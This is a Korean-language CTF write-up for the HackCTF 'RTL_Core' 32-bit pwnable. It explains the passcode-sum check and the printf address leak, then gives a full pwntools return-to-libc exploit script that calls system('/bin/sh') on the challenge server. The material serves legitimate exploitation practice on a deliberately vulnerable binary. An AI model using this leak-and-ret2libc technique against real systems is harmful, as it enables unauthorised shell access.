WAR GAME/HackCTF

[HackCTF : Pwnable] RTL_Core 풀이 (32bit, RTL)

jir4vvit 2021. 4. 5. 18:48

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

간단하게 짬내서 풀어보았다. 


주어진 파일은 libc 문제 바이너리 이다. 

 

Analysis

보호기법

IDA로 함수들을 살펴보자.

 

main

뭔가 저 조건을 만족시키고 core 함수를 실행해야할 것 같다.

check_passcode(input) == 0xc0d9b0a7

 

check_password

output = *(0 + input)

output += *(4 + input)

output += *(8 + input)

output += *(12 + input)

output += *(16 + input)

 

32bit라서 한칸에 4byte인데, input 아래로 4칸,,, 한마디로 총 5칸에 있는 값을 다 더한 게 output이다. 

이 output이 0xc0d9b0a7 값과 같아야 한다.

 

input = ''
input += p32(0x2691f021)

input += p32(0x2691f021)

input += p32(0x2691f021)

input += p32(0x2691f021)
input += p32(0x2691f023)

 

이런식으로 코드를 짜야할 것이다. 맨 마지막이 3인 이유는 0xc0d9b0a7 / 5 = 0x2691f021 (나머지 2) 였기 때문이다.

 

암튼 이렇게 if문을 통과하면 아래와 같이 출력이 된다.

core 함수가 실행되어서 저렇게 떴다.

 

core

dlsym 함수의 반환값은 두번째 인자 함수의 주소라고 한다. 

아무튼 printf의 주소를 출력해준다. 이걸로 libc_base를 구해서 rtl을 진행하면 될 듯 하다.

 

How to exploit

  1. 조건 맞추고 core함수 실행
  2. printf 주소 leak
  3. rtl

rtl을 할때 32bit니까 아래만 주의하면 된다.

A함수(RET) - B함수(A함수 다음에 실행됨) - A함수인자 ...

Let's exploit

from pwn import *

p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3015)
e = ELF('./rtlcore')
#libc = e.libc
libc = ELF('./libc.so.6')

payload = ''
payload += p32(0x2691f021) * 4
payload += p32(0x2691f023)
#payload += '\x00' * (0x1C - len(payload))
#payload += 'AAAA' #sfp
#payload += p32(0x08048685) #return to main

p.sendlineafter(': ', payload)

p.recvuntil('0x')
printf_addr = int('0x' +  p.recv(8),16)

print type(printf_addr)
print hex(printf_addr)


libc_base = printf_addr - libc.symbols['printf']
print hex(libc_base)

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()

payload = ''
payload += 'A' * (0x3e+0x4)
payload += p32(system_addr)
payload += 'BBBB' 
payload += p32(binsh_addr)
 
p.sendline(payload) 

p.interactive()

 

 

당연하지만.. p32() 안에는 hex값이 들어간다.. ㅎㅎ;